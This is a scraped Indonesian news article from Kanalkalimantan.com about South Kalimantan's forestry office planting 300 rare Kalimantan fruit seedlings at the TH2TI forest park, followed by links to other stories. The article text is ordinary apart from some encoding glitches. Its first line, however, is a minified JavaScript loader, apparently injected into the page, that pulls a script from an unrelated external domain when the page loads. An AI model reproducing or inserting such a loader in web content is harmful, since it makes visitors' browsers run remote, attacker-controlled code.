(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gerakan Revolusi Hijau terus digaungkan Gubernur Kalsel H Sahbirin Noor dengan penanaman pohon buah langka di areal Taman Hutan Hujan Tropis Indonesia (TH2TI).
Gubernur Kalsel menegaskan jika pembangunan TH2TI adalah wujud komitmen Pemprov Kalsel dalam menyukseskan Gerakan Revolusi Hijau.
Selain berkomitmen memelihara kekayaan hutan tropis Kalimantan, keberadaan taman hutan trofis bertujuan memperbaiki kondisi paru-paru dunia yang mulai mengalami kerusakan.
Seiring peringatan Hari Lingkungan Hidup Sedunia, dimanfaatkan Dinas Kehutanan Kalsel dengan aksi bersih sampah dan penanaman bersama tanaman buah langka khas Kalimantan.
Baca juga:Â Peringati Hari Lingkungan Hidup Sedunia, Ini Pesan Sekda Tanbu
Sebanyak 300 bibit tanaman buah langka di areal seluas satu hektare pada Blok 1 TH2TI.
Pemilihan tanaman buah langka sebagaimana arahan dan keinginan Paman Birin sebagai awal pembangunan kebun benih buah langka Kalimantan, khususnya di Kota Banjarbaru.
Penanaman bibit tanaman buah langka di areal seluas satu hektare pada Blok 1 TH2TI. Foto: dishutkalsel
Sebelumnya eksplorasi di Desa Marajai, Kecamatan Halong, Kabupaten Balangan, sebanyak 300 bibit buah langka yang ditanam adalah ginalun, limpasu, lempaung, papisangan, dan manggis hutan.
Ada tanaman puyian, silulung, kungkus, ramania, babuku, bintarung, bundu, kapul kupu-kupu, landur, manja, tampang susu, rawa-rawa, keliwin. Kemudian tanaman tangalin, luwi, kumanjing, bumbunau, rambai gunung, tandui, lahung, puntit, bacaurea bangka, maritam hingga bangkinang.
“Sebagaimana arahan Bapak Gubernur, pembangunan kebun benih buah langka ini, akan menjadi salah satu Areal Sumber Daya Genetik (ASDG) di Kalimantan Selatan. Ini salah satu upaya kita mempertahankan keanekaragaman hayati, khususnya buah langka, sampai pada tingkat genetik,†ujar Kepala Dinas Kehutanan Hj Fathimatuzzahra MA, Jum’at (3/6/2022).
Fathimatuzzahra menjelaskan, kebun benih ini akan menjadi laboratorium hidup tanaman buah langka Kalimantan, sebagai antisipasi jangka panjang keanekaragaman hayati.
Selain itu, pembangunan kebun benih di areal TH2TI ini menjadi salah satu kerja nyata dari Gerakan Revolusi Hijau Kalsel. Suatu gerakan yang bertujuan menggerakkan seluruh komponen rakyat di Kalsel, untuk peduli lingkungan melalui penanaman pohon.
Konsep revolusi hijau Kalsel ini telah didukung oleh KLHK. Beberapa dari konsepnya telah diramu, untuk kemudian dikembangkan secara nasional. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.